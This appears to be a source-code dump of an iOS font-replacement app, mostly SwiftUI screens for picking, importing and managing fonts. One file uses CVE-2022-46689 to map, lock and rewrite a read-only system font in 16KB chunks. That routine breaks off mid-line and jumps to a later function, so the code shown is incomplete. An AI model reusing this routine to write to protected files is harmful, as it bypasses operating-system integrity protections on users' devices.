MainActor.run { 43 | ProgressManager.shared.isBusy = false 44 | } 45 | return 46 | } 47 | 48 | let fileManager = FileManager.default 49 | let documentsDirectory = fileManager.urls( 50 | for: .documentDirectory, 51 | in: .userDomainMask 52 | )[0] 53 | do { 54 | let fonts = try fileManager.contentsOfDirectory(atPath: documentsDirectory.relativePath).filter({!$0.contains("AppleColorEmoji")}) 55 | for font in fonts { 56 | let key = FontMap.key(forFont: font) 57 | if let customFont = FontMap.fontMap[key] { 58 | await overwriteWithCustomFont( 59 | name: customFont.localPath, 60 | targetPaths: customFont.targetPaths 61 | ) 62 | } 63 | } 64 | await MainActor.run { 65 | ProgressManager.shared.isBusy = false 66 | } 67 | } catch { 68 | print(error) 69 | await MainActor.run { 70 | ProgressManager.shared.message = "Failed to read imported fonts." 71 | } 72 | } 73 | } 74 | } 75 | } 76 | -------------------------------------------------------------------------------- /WDBFontOverwrite/MainInterface/CustomFontsScene.swift: -------------------------------------------------------------------------------- 1 | // 2 | // CustomFontsScene.swift 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little on 6/1/2023. 6 | // 7 | 8 | import SwiftUI 9 | import UniformTypeIdentifiers 10 | 11 | struct CustomFontsScene: View { 12 | @StateObject private var viewModel = ViewModel() 13 | @EnvironmentObject var progressManager: ProgressManager 14 | @Environment(\.openURL) private var openURL 15 | 16 | var body: some View { 17 | NavigationView { 18 | VStack(spacing: 10) { 19 | Form { 20 | Section { 21 | ExplanationView( 22 | systemImage: "textformat", 23 | description: "Import & manage custom fonts that have been ported to iOS.", 24 | canShowProgress: true 25 | ) 26 | } 27 | .listRowBackground(Color(UIColor(red: 0.44, green: 0.69, blue: 0.67, alpha: 1.00))) 28 | fontsList 29 | actionSection 30 | } 31 | } 32 | .navigationTitle("Custom") 33 | } 34 | .navigationViewStyle(.stack) 35 | .sheet(isPresented: $viewModel.importPresented) { 36 | DocumentPicker( 37 | importType: viewModel.selectedCustomFontType, 38 | ttcRepackMode: viewModel.importTTCRepackMode 39 | ) 40 | } 41 | .sheet(isPresented: $viewModel.isPresentedFileEditor) { 42 | FileEditorView() 43 | } 44 | .onAppear { 45 | Task(priority: .background) { 46 | do { 47 | try await FontMap.populateFontMap() 48 | } catch { 49 | progressManager.message = "Error: Unable to populate font map." 50 | } 51 | } 52 | } 53 | } 54 | 55 | @ViewBuilder 56 | private var fontsList: some View { 57 | Section { 58 | Picker("Custom fonts", selection: $viewModel.customFontPickerSelection) { 59 | Text("Custom font") 60 | .tag(0) 61 | Text("Custom Emoji") 62 | .tag(1) 63 | } 64 | .pickerStyle(.segmented) 65 | 66 | Button { 67 | progressManager.message = "Importing..." 68 | viewModel.importTTCRepackMode = .woff2 69 | viewModel.importPresented = true 70 | } label: { 71 | AlignedRowContentView( 72 | imageName: "square.and.arrow.down", 73 | text: "Import custom \(viewModel.selectedCustomFontType.rawValue)" 74 | ) 75 | } 76 | Button { 77 | progressManager.isBusy = true 78 | progressManager.message = "Running" 79 | Task { 80 | await viewModel.batchOverwriteFonts() 81 | } 82 | } label: { 83 | AlignedRowContentView( 84 | imageName: "checkmark.circle", 85 | text: "Apply \(viewModel.selectedCustomFontType.rawValue)" 86 | ) 87 | } 88 | } header: { 89 | Text("Fonts") 90 | } 91 | } 92 | 93 | private var actionSection: some View { 94 | Section { 95 | Button { 96 | viewModel.isPresentedFileEditor = true 97 | } label: { 98 | AlignedRowContentView( 99 | imageName: "doc.badge.gearshape", 100 | text: "Manage imported fonts" 101 | ) 102 | } 103 | ActionButtons() 104 | } header: { 105 | Text("Actions") 106 | } footer: { 107 | Text("Originally created by [@zhuowei](https://twitter.com/zhuowei). Updated & maintained by [@GinsuDev](https://twitter.com/GinsuDev).") 108 | } 109 | } 110 | } 111 | 112 | struct ContentView_Previews: PreviewProvider { 113 | static var previews: some View { 114 | CustomFontsScene() 115 | } 116 | } 117 | -------------------------------------------------------------------------------- /WDBFontOverwrite/MainInterface/ExplanationView.swift: -------------------------------------------------------------------------------- 1 | // 2 | // ExplanationView.swift 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little on 6/1/2023. 6 | // 7 | 8 | import SwiftUI 9 | 10 | // MARK: - Public 11 | 12 | struct ExplanationView: View { 13 | @EnvironmentObject var progressManager: ProgressManager 14 | let systemImage: String 15 | let description: String 16 | let canShowProgress: Bool 17 | 18 | var body: some View { 19 | ZStack { 20 | RoundedRectangle(cornerRadius: 5) 21 | .fill(Color(UIColor( 22 | red: 0.44, 23 | green: 0.69, 24 | blue: 0.67, 25 | alpha: 1.00 26 | ))) 27 | VStack(alignment: .center, spacing: 10) { 28 | imageView 29 | descriptionView 30 | progressView 31 | } 32 | .padding() 33 | } 34 | .frame(maxWidth: .infinity) 35 | .fixedSize(horizontal: false, vertical: true) 36 | .padding(.horizontal) 37 | } 38 | } 39 | 40 | // MARK: - Private 41 | 42 | private extension ExplanationView { 43 | var imageView: some View { 44 | Image(systemName: systemImage) 45 | .resizable() 46 | .aspectRatio(contentMode: .fit) 47 | .frame(width: 35, height: 35) 48 | .foregroundColor(.white) 49 | } 50 | 51 | var descriptionView: some View { 52 | Text(description) 53 | .foregroundColor(.white) 54 | .multilineTextAlignment(.center) 55 | } 56 | 57 | @ViewBuilder 58 | var progressView: some View { 59 | if canShowProgress { 60 | VStack(alignment: .center) { 61 | Divider() 62 | Text(progressManager.message) 63 | .foregroundColor(.white) 64 | if progressManager.isBusy { 65 | ProgressView( 66 | value: progressManager.completedProgress, 67 | total: progressManager.totalProgress 68 | ) 69 | .progressViewStyle(LinearProgressViewStyle(tint: .white)) 70 | } 71 | } 72 | } 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /WDBFontOverwrite/MainInterface/FileEditor/FileEditorView.ViewModel.swift: -------------------------------------------------------------------------------- 1 | // 2 | // FileEditorView.ViewModel.swift 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little on 4/1/2023. 6 | // 7 | 8 | import Foundation 9 | 10 | extension FileEditorView { 11 | final class ViewModel: ObservableObject { 12 | let fileManager = FileManager.default 13 | @Published var files = [String]() 14 | @Published var isVisibleRemoveAllAlert = false 15 | 16 | private var documentsDirectory: URL { 17 | fileManager.urls( 18 | for: .documentDirectory, 19 | in: .userDomainMask 20 | )[0] 21 | } 22 | 23 | func populateFiles() async { 24 | do { 25 | let path = documentsDirectory.relativePath 26 | 27 | try await MainActor.run { [weak self] in 28 | self?.files = try fileManager.contentsOfDirectory(atPath: path).filter({ !$0.hasSuffix("token.txt") }) 29 | } 30 | } catch { 31 | print(error) 32 | } 33 | } 34 | 35 | func remove(file: String) { 36 | do { 37 | try fileManager.removeItem(at: documentsDirectory.appendingPathComponent(file)) 38 | } catch { 39 | print(error) 40 | } 41 | } 42 | 43 | func removeAllFiles() { 44 | for file in files { 45 | remove(file: file) 46 | } 47 | } 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /WDBFontOverwrite/MainInterface/FileEditor/FileEditorView.swift: -------------------------------------------------------------------------------- 1 | // 2 | // FileEditorView.swift 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little on 4/1/2023. 6 | // 7 | 8 | import SwiftUI 9 | 10 | struct FileEditorView: View { 11 | @StateObject private var viewModel = ViewModel() 12 | 13 | var body: some View { 14 | NavigationView { 15 | List(viewModel.files, id: \.self) { file in 16 | HStack { 17 | Text(file) 18 | Spacer() 19 | Button { 20 | viewModel.remove(file: file) 21 | Task { 22 | await viewModel.populateFiles() 23 | } 24 | } label: { 25 | Image(systemName: "trash") 26 | .padding() 27 | .foregroundColor(.white) 28 | .background(Color.red) 29 | .clipShape(Circle()) 30 | } 31 | } 32 | .padding() 33 | } 34 | .toolbar { 35 | ToolbarItem(placement: .navigationBarTrailing) { 36 | Button { 37 | viewModel.isVisibleRemoveAllAlert = true 38 | } label: { 39 | Image(systemName: "trash") 40 | .foregroundColor(.red) 41 | } 42 | } 43 | } 44 | .navigationTitle("Imported fonts (\(viewModel.files.count))") 45 | } 46 | .alert(isPresented: $viewModel.isVisibleRemoveAllAlert) { 47 | Alert( 48 | title: Text("Remove all"), 49 | message: Text("Are you sure you want to remove all imported font files?"), 50 | primaryButton: .destructive(Text("Remove all")) { 51 | viewModel.removeAllFiles() 52 | Task { 53 | await viewModel.populateFiles() 54 | } 55 | }, 56 | secondaryButton: .cancel() 57 | ) 58 | } 59 | .onAppear { 60 | Task { 61 | await viewModel.populateFiles() 62 | } 63 | } 64 | } 65 | } 66 | 67 | struct FileEditorView_Previews: PreviewProvider { 68 | static var previews: some View { 69 | FileEditorView() 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /WDBFontOverwrite/MainInterface/FontDiscovery/FontDiscoveryCard.ViewModel.swift: -------------------------------------------------------------------------------- 1 | // 2 | // FontDiscoveryCell.ViewModel.swift 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little on 5/1/2023. 6 | // 7 | 8 | import SwiftUI 9 | 10 | extension FontDiscoveryCard { 11 | struct ViewDescriptor { 12 | let avatarPath: String 13 | let name: String 14 | let twitterHandle: String 15 | let role: CustomFontType 16 | let links: [FontDiscoveryLinkDescriptor] 17 | } 18 | 19 | struct AvatarDownloader { 20 | func downloadAvatar(fromURL url: String) async -> UIImage? { 21 | guard let url = URL(string: url) else { 22 | return nil 23 | } 24 | do { 25 | let (data, response) = try await URLSession.shared.data(from: url) 26 | let image = handleResponse(data: data, response: response) 27 | return image 28 | } catch { 29 | print("Unable to load avatar for card") 30 | return nil 31 | } 32 | } 33 | 34 | private func handleResponse(data: Data?, response: URLResponse?) -> UIImage? { 35 | guard let data, 36 | let image = UIImage(data: data), 37 | let response = response as? HTTPURLResponse, 38 | (200..<300).contains(response.statusCode) else { 39 | print("No image") 40 | return nil 41 | } 42 | return image 43 | } 44 | } 45 | 46 | final class ViewModel: ObservableObject { 47 | let downloader = AvatarDownloader() 48 | @Published var image = Image(systemName: "person.crop.circle") 49 | 50 | func fetchImage(fromURL url: String) async { 51 | if let image = await self.downloader.downloadAvatar(fromURL: url) { 52 | await MainActor.run { [weak self] in 53 | self?.image = Image(uiImage: image) 54 | } 55 | } 56 | } 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /WDBFontOverwrite/MainInterface/FontDiscovery/FontDiscoveryCard.swift: -------------------------------------------------------------------------------- 1 | // 2 | // FontDiscoveryCell.swift 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little on 5/1/2023. 6 | // 7 | 8 | import SwiftUI 9 | 10 | // MARK: - Public 11 | 12 | struct FontDiscoveryCard: View { 13 | @Environment(\.openURL) private var openURL 14 | @StateObject private var viewModel = ViewModel() 15 | let descriptor: ViewDescriptor 16 | 17 | var body: some View { 18 | VStack(alignment: .leading) { 19 | header 20 | links 21 | } 22 | .frame(maxWidth: .infinity) 23 | .padding() 24 | .overlay( 25 | RoundedRectangle(cornerRadius: 5) 26 | .stroke(Color.secondary, lineWidth: 1) 27 | ) 28 | .onAppear { 29 | Task { 30 | await viewModel.fetchImage(fromURL: descriptor.avatarPath) 31 | } 32 | } 33 | } 34 | } 35 | 36 | // MARK: - Private 37 | 38 | private extension FontDiscoveryCard { 39 | var header: some View { 40 | HStack { 41 | viewModel.image 42 | .resizable() 43 | .aspectRatio(contentMode: .fit) 44 | .frame(width: 60, height: 60) 45 | .clipShape(Circle()) 46 | .overlay( 47 | Circle() 48 | .stroke(Color.secondary, lineWidth: 1) 49 | .foregroundColor(.clear) 50 | ) 51 | VStack(alignment: .leading) { 52 | Text(descriptor.name) 53 | .font(.title2) 54 | Text(descriptor.role.rawValue.uppercased()) 55 | .foregroundColor(.secondary) 56 | .font(.footnote) 57 | .bold() 58 | } 59 | Spacer() 60 | } 61 | } 62 | 63 | var links: some View { 64 | HStack { 65 | ForEach(descriptor.links, id: \.title) { link in 66 | Button { 67 | openURL(link.url) 68 | } label: { 69 | HStack(spacing: 5) { 70 | Image(systemName: link.imageName) 71 | Text(link.title) 72 | } 73 | .foregroundColor(.white) 74 | } 75 | .padding(EdgeInsets(top: 5, leading: 10, bottom: 5, trailing: 10)) 76 | .background(Color(UIColor(red: 0.44, green: 0.69, blue: 0.67, alpha: 1.00))) 77 | .clipShape(RoundedRectangle(cornerRadius: 8)) 78 | } 79 | } 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /WDBFontOverwrite/MainInterface/FontDiscovery/FontDiscoveryScene.ViewModel.swift: -------------------------------------------------------------------------------- 1 | // 2 | // FontDiscoveryScene.ViewModel.swift 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little on 5/1/2023. 6 | // 7 | 8 | import Foundation 9 | 10 | struct FontDiscoveryLinkDescriptor { 11 | let url: URL 12 | let title: String 13 | let imageName: String 14 | } 15 | 16 | extension FontDiscoveryScene { 17 | final class ViewModel: ObservableObject { 18 | let descriptors = [ 19 | FontDiscoveryCard.ViewDescriptor( 20 | avatarPath: "https://unavatar.io/github/evynw", 21 | name: "Evelyn", 22 | twitterHandle: "ev_ynw", 23 | role: .font, 24 | links: [ 25 | .init( 26 | url: URL(string: "https://twitter.com/ev_ynw")!, 27 | title: "Twitter", 28 | imageName: "person.crop.circle.badge.plus" 29 | ), 30 | .init( 31 | url: URL(string: "https://bit.ly/3e3nJdm")!, 32 | title: "Font library", 33 | imageName: "books.vertical" 34 | ) 35 | ] 36 | ), 37 | FontDiscoveryCard.ViewDescriptor( 38 | avatarPath: "https://unavatar.io/github/PoomSmart", 39 | name: "PoomSmart", 40 | twitterHandle: "PoomSmart", 41 | role: .emoji, 42 | links: [ 43 | .init( 44 | url: URL(string: "https://twitter.com/PoomSmart")!, 45 | title: "Twitter", 46 | imageName: "person.crop.circle.badge.plus" 47 | ), 48 | .init( 49 | url: URL(string: "https://github.com/PoomSmart/EmojiFonts/releases")!, 50 | title: "Emoji library", 51 | imageName: "face.smiling" 52 | ) 53 | ] 54 | ), 55 | FontDiscoveryCard.ViewDescriptor( 56 | avatarPath: "https://unavatar.io/github/AlexMan1979", 57 | name: "AlexMan1979", 58 | twitterHandle: "AlexMan1979", 59 | role: .font, 60 | links: [ 61 | .init( 62 | url: URL(string: "https://twitter.com/AlexMan1979")!, 63 | title: "Twitter", 64 | imageName: "person.crop.circle.badge.plus" 65 | ) 66 | ] 67 | ), 68 | ] 69 | } 70 | } 71 | -------------------------------------------------------------------------------- /WDBFontOverwrite/MainInterface/FontDiscovery/FontDiscoveryScene.swift: -------------------------------------------------------------------------------- 1 | // 2 | // FontDiscoveryView.swift 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little on 5/1/2023. 6 | // 7 | 8 | import SwiftUI 9 | 10 | struct FontDiscoveryScene: View { 11 | @StateObject private var viewModel = ViewModel() 12 | 13 | var body: some View { 14 | NavigationView { 15 | ScrollView(.vertical) { 16 | VStack(spacing: 10) { 17 | ExplanationView( 18 | systemImage: "star.fill", 19 | description: "Find fonts and emojis from these talented developers and themers.", 20 | canShowProgress: false 21 | ) 22 | ForEach(viewModel.descriptors, id: \.name) { descriptor in 23 | Section { 24 | FontDiscoveryCard(descriptor: descriptor) 25 | .frame(maxWidth: .infinity) 26 | .padding(.horizontal) 27 | } 28 | } 29 | Spacer() 30 | } 31 | } 32 | .navigationTitle("Discovery") 33 | } 34 | .navigationViewStyle(.stack) 35 | } 36 | } 37 | 38 | struct FontDiscoveryView_Previews: PreviewProvider { 39 | static var previews: some View { 40 | FontDiscoveryScene() 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /WDBFontOverwrite/MainInterface/NoticeView.swift: -------------------------------------------------------------------------------- 1 | // 2 | // NoticeView.swift 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little on 3/1/2023. 6 | // 7 | 8 | import SwiftUI 9 | 10 | enum Notice: String { 11 | /// iOS not supported msg. 12 | case iosVersion = "iOS version not supported. Don't ask us to support newer versions because the exploit used just simply does not support newer iOS versions." 13 | 14 | /// Custom font pre-usage info. 15 | case beforeUse = "Custom fonts require font files that are ported for iOS. See https://github.com/ginsudev/WDBFontOverwrite for details." 16 | 17 | /// Keyboard cache issue msg. 18 | case keyboard = "Keyboard fonts may not be applied immediately due to iOS caching issues. IF POSSIBLE, remove the folder /var/mobile/Library/Caches/com.apple.keyboards/ if you wish for changes to take effect immediately." 19 | } 20 | 21 | struct NoticeView: View { 22 | let notice: Notice 23 | 24 | var body: some View { 25 | HStack { 26 | Image(systemName: "info.circle") 27 | Text(LocalizedStringKey(notice.rawValue)) 28 | } 29 | } 30 | } 31 | 32 | struct NoticeView_Previews: PreviewProvider { 33 | static var previews: some View { 34 | NoticeView(notice: .keyboard) 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /WDBFontOverwrite/MainInterface/PresetFontsScene.ViewModel.swift: -------------------------------------------------------------------------------- 1 | // 2 | // PresetFontsScene.ViewModel.swift 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little on 6/1/2023. 6 | // 7 | 8 | import Foundation 9 | 10 | struct FontToReplace { 11 | var name: String 12 | var postScriptName: String 13 | var repackedPath: String 14 | } 15 | 16 | extension PresetFontsScene { 17 | struct ViewModel { 18 | let fonts = [ 19 | FontToReplace( 20 | name: "DejaVu Sans Condensed", 21 | postScriptName: "DejaVuSansCondensed", 22 | repackedPath: "DejaVuSansCondensed.woff2" 23 | ), 24 | FontToReplace( 25 | name: "DejaVu Serif", 26 | postScriptName: "DejaVuSerif", 27 | repackedPath: "DejaVuSerif.woff2" 28 | ), 29 | FontToReplace( 30 | name: "DejaVu Sans Mono", 31 | postScriptName: "DejaVuSansMono", 32 | repackedPath: "DejaVuSansMono.woff2" 33 | ), 34 | FontToReplace( 35 | name: "Go Regular", 36 | postScriptName: "GoRegular", 37 | repackedPath: "Go-Regular.woff2" 38 | ), 39 | FontToReplace( 40 | name: "Go Mono", 41 | postScriptName: "GoMono", 42 | repackedPath: "Go-Mono.woff2" 43 | ), 44 | FontToReplace( 45 | name: "Fira Sans", 46 | postScriptName: "FiraSans-Regular", 47 | repackedPath: "FiraSans-Regular.2048.woff2" 48 | ), 49 | FontToReplace( 50 | name: "Segoe UI", 51 | postScriptName: "SegoeUI", 52 | repackedPath: "segoeui.woff2" 53 | ), 54 | FontToReplace( 55 | name: "Comic Sans MS", 56 | postScriptName: "ComicSansMS", 57 | repackedPath: "Comic Sans MS.woff2" 58 | ), 59 | FontToReplace( 60 | name: "Choco Cooky", 61 | postScriptName: "Chococooky", 62 | repackedPath: "Chococooky.woff2" 63 | ), 64 | ] 65 | 66 | nonisolated func overwrite(withName name: String) async { 67 | await overwriteWithFont(name: name) 68 | await MainActor.run { 69 | ProgressManager.shared.isBusy = false 70 | } 71 | } 72 | } 73 | } 74 | -------------------------------------------------------------------------------- /WDBFontOverwrite/MainInterface/PresetFontsScene.swift: -------------------------------------------------------------------------------- 1 | // 2 | // PresetFontsScene.swift 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little on 6/1/2023. 6 | // 7 | 8 | import SwiftUI 9 | 10 | struct PresetFontsScene: View { 11 | @EnvironmentObject private var progressManager: ProgressManager 12 | private let viewModel = ViewModel() 13 | 14 | var body: some View { 15 | NavigationView { 16 | Form { 17 | Section { 18 | ExplanationView( 19 | systemImage: "textformat", 20 | description: "Choose from a selection of preset fonts.", 21 | canShowProgress: true 22 | ) 23 | } 24 | .listRowBackground(Color(UIColor(red: 0.44, green: 0.69, blue: 0.67, alpha: 1.00))) 25 | fontsSection 26 | actionSection 27 | } 28 | .navigationTitle("Presets") 29 | } 30 | .navigationViewStyle(.stack) 31 | } 32 | } 33 | 34 | private extension PresetFontsScene { 35 | var fontsSection: some View { 36 | Section { 37 | ForEach(viewModel.fonts, id: \.name) { font in 38 | Button { 39 | progressManager.isBusy = true 40 | progressManager.message = "Running" 41 | Task { 42 | await viewModel.overwrite(withName: font.repackedPath) 43 | } 44 | } label: { 45 | Text(font.name) 46 | .font(.custom( 47 | font.postScriptName, 48 | size: 18) 49 | ) 50 | } 51 | } 52 | } header: { 53 | Text("Fonts") 54 | } 55 | } 56 | 57 | private var actionSection: some View { 58 | Section { 59 | ActionButtons() 60 | } header: { 61 | Text("Actions") 62 | } footer: { 63 | Text("Originally created by [@zhuowei](https://twitter.com/zhuowei). Updated & maintained by [@GinsuDev](https://twitter.com/GinsuDev).") 64 | } 65 | } 66 | } 67 | 68 | struct PresetsScene_Previews: PreviewProvider { 69 | static var previews: some View { 70 | PresetFontsScene() 71 | } 72 | } 73 | -------------------------------------------------------------------------------- /WDBFontOverwrite/OverwriteFontImpl.swift: -------------------------------------------------------------------------------- 1 | // 2 | // OverwriteFontImpl.swift 3 | // WDBFontOverwrite 4 | // 5 | // Created by Zhuowei Zhang on 2022-12-25. 6 | // 7 | 8 | import UIKit 9 | import UniformTypeIdentifiers 10 | 11 | func overwriteWithFont(name: String) async { 12 | let fontURL = Bundle.main.url( 13 | forResource: name, 14 | withExtension: nil, 15 | subdirectory: "RepackedFonts" 16 | )! 17 | 18 | await overwriteWithFont( 19 | fontURL: fontURL, 20 | pathToTargetFont: "/System/Library/Fonts/CoreUI/SFUI.ttf" 21 | ) 22 | } 23 | 24 | func overwriteWithFont( 25 | fontURL: URL, 26 | pathToTargetFont: String 27 | ) async { 28 | overwriteWithFontImpl( 29 | fontURL: fontURL, 30 | pathToTargetFont: pathToTargetFont 31 | ) 32 | } 33 | 34 | /// Overwrite the system font with the given font using CVE-2022-46689. 35 | /// The font must be specially prepared so that it skips past the last byte in every 16KB page. 36 | /// See BrotliPadding.swift for an implementation that adds this padding to WOFF2 fonts. 37 | func overwriteWithFontImpl( 38 | fontURL: URL, 39 | pathToTargetFont: String 40 | ) { 41 | var fontData: Data = try! Data(contentsOf: fontURL) 42 | #if false 43 | let documentDirectory = FileManager.default.urls( 44 | for: .documentDirectory, 45 | in: .userDomainMask 46 | )[0].path 47 | 48 | let pathToTargetFont = documentDirectory + "/SFUI.ttf" 49 | let pathToRealTargetFont = "/System/Library/Fonts/CoreUI/SFUI.ttf" 50 | let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTargetFont)) 51 | try! origData.write(to: URL(fileURLWithPath: pathToTargetFont)) 52 | #endif 53 | 54 | // open and map original font 55 | let fd = open(pathToTargetFont, O_RDONLY | O_CLOEXEC) 56 | if fd == -1 { 57 | sendImportMessage(.failure("Unable to open font.")) 58 | return 59 | } 60 | defer { close(fd) } 61 | // check size of font 62 | let originalFontSize = lseek(fd, 0, SEEK_END) 63 | guard originalFontSize >= fontData.count else { 64 | sendImportMessage(.failure("Font too big.")) 65 | return 66 | } 67 | lseek(fd, 0, SEEK_SET) 68 | 69 | if fontData[0..<4] == Data([0x77, 0x4f, 0x46, 0x32]) { 70 | // if this is a woff2 (and not a ttc) 71 | // patch our font with the padding 72 | // https://www.w3.org/TR/WOFF2/#woff20Header 73 | // length 74 | withUnsafeBytes(of: UInt32(originalFontSize).bigEndian) { 75 | fontData.replaceSubrange(0x8..<0x8 + 4, with: $0) 76 | } 77 | // privOffset 78 | withUnsafeBytes(of: UInt32(fontData.count).bigEndian) { 79 | fontData.replaceSubrange(0x28..<0x28 + 4, with: $0) 80 | } 81 | // privLength 82 | withUnsafeBytes(of: UInt32(Int(originalFontSize) - fontData.count).bigEndian) { 83 | fontData.replaceSubrange(0x2c..<0x2c + 4, with: $0) 84 | } 85 | } 86 | 87 | // Map the font we want to overwrite so we can mlock it 88 | let fontMap = mmap(nil, fontData.count, PROT_READ, MAP_SHARED, fd, 0) 89 | if fontMap == MAP_FAILED { 90 | sendImportMessage(.failure("Map failed")) 91 | return 92 | } 93 | // mlock so the file gets cached in memory 94 | guard mlock(fontMap, fontData.count) == 0 else { 95 | sendImportMessage(.failure("Can't mlock")) 96 | return 97 | } 98 | 99 | updateProgress(total: true, progress: Double(fontData.count)) 100 | 101 | // for every 16k chunk, rewrite 102 | print(Date()) 103 | for chunkOff in stride(from: 0, to: fontData.count, by: 0x4000) { 104 | print(String(format: "%lx", chunkOff)) 105 | if chunkOff % 0x40000 == 0 { 106 | updateProgress(total: false, progress: Double(chunkOff)) 107 | } 108 | let dataChunk = fontData[chunkOff.. String? { 200 | // read first 16k of font 201 | try? FileManager.default.removeItem(at: targetURL) 202 | try! FileManager.default.copyItem(at: fileURL, to: targetURL) 203 | return nil 204 | } 205 | -------------------------------------------------------------------------------- /WDBFontOverwrite/Preview Content/Preview Assets.xcassets/Contents.json: -------------------------------------------------------------------------------- 1 | { 2 | "info" : { 3 | "author" : "xcode", 4 | "version" : 1 5 | } 6 | } 7 | -------------------------------------------------------------------------------- /WDBFontOverwrite/PreviewFonts/Chococooky.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/PreviewFonts/Chococooky.ttf -------------------------------------------------------------------------------- /WDBFontOverwrite/PreviewFonts/Comic Sans MS.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/PreviewFonts/Comic Sans MS.ttf -------------------------------------------------------------------------------- /WDBFontOverwrite/PreviewFonts/DejaVuSansCondensed.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/PreviewFonts/DejaVuSansCondensed.ttf -------------------------------------------------------------------------------- /WDBFontOverwrite/PreviewFonts/DejaVuSansMono.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/PreviewFonts/DejaVuSansMono.ttf -------------------------------------------------------------------------------- /WDBFontOverwrite/PreviewFonts/DejaVuSerif.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/PreviewFonts/DejaVuSerif.ttf -------------------------------------------------------------------------------- /WDBFontOverwrite/PreviewFonts/FiraSans-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/PreviewFonts/FiraSans-Regular.ttf -------------------------------------------------------------------------------- /WDBFontOverwrite/PreviewFonts/Go-Mono.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/PreviewFonts/Go-Mono.ttf -------------------------------------------------------------------------------- /WDBFontOverwrite/PreviewFonts/Go-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/PreviewFonts/Go-Regular.ttf -------------------------------------------------------------------------------- /WDBFontOverwrite/PreviewFonts/segoeui.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/PreviewFonts/segoeui.ttf -------------------------------------------------------------------------------- /WDBFontOverwrite/Progress/ProgressManager.swift: -------------------------------------------------------------------------------- 1 | // 2 | // ProgressManager.swift 3 | // WDBFontOverwrite 4 | // 5 | // Created by Noah Little on 5/1/2023. 6 | // 7 | 8 | import Foundation 9 | 10 | @MainActor 11 | final class ProgressManager: ObservableObject { 12 | enum ImportStatus { 13 | case success 14 | case failure(String) 15 | } 16 | 17 | static let shared = ProgressManager() 18 | @Published var completedProgress: Double = 0 19 | @Published var totalProgress: Double = 0 20 | @Published var importResults = [ImportStatus]() 21 | @Published var message: String = "Choose a font." 22 | 23 | @Published var isPresentedResultsAlert = false { 24 | didSet { 25 | if !isPresentedResultsAlert { 26 | importResults = [] 27 | message = "Done." 28 | } 29 | } 30 | } 31 | 32 | var isBusy: Bool = false { 33 | didSet { 34 | if !isBusy { 35 | // Reset values when done. 36 | completedProgress = 0 37 | totalProgress = 0 38 | isPresentedResultsAlert = true 39 | } 40 | } 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /WDBFontOverwrite/RepackedFonts/Chococooky.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/RepackedFonts/Chococooky.woff2 -------------------------------------------------------------------------------- /WDBFontOverwrite/RepackedFonts/Comic Sans MS.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/RepackedFonts/Comic Sans MS.woff2 -------------------------------------------------------------------------------- /WDBFontOverwrite/RepackedFonts/DejaVuSansCondensed.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/RepackedFonts/DejaVuSansCondensed.woff2 -------------------------------------------------------------------------------- /WDBFontOverwrite/RepackedFonts/DejaVuSansMono.woff2: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ginsudev/WDBFontOverwrite/51acb70bed0b0c6f4f7fdced0fec04531fe845b1/WDBFontOverwrite/RepackedFonts/DejaVuSansMono.woff2 -------------------------------------------------------------------------------- /WDBFontOverwrite/RepackedFonts/DejaVuSerif.woff2: -------------------------------------------------------------------------------- 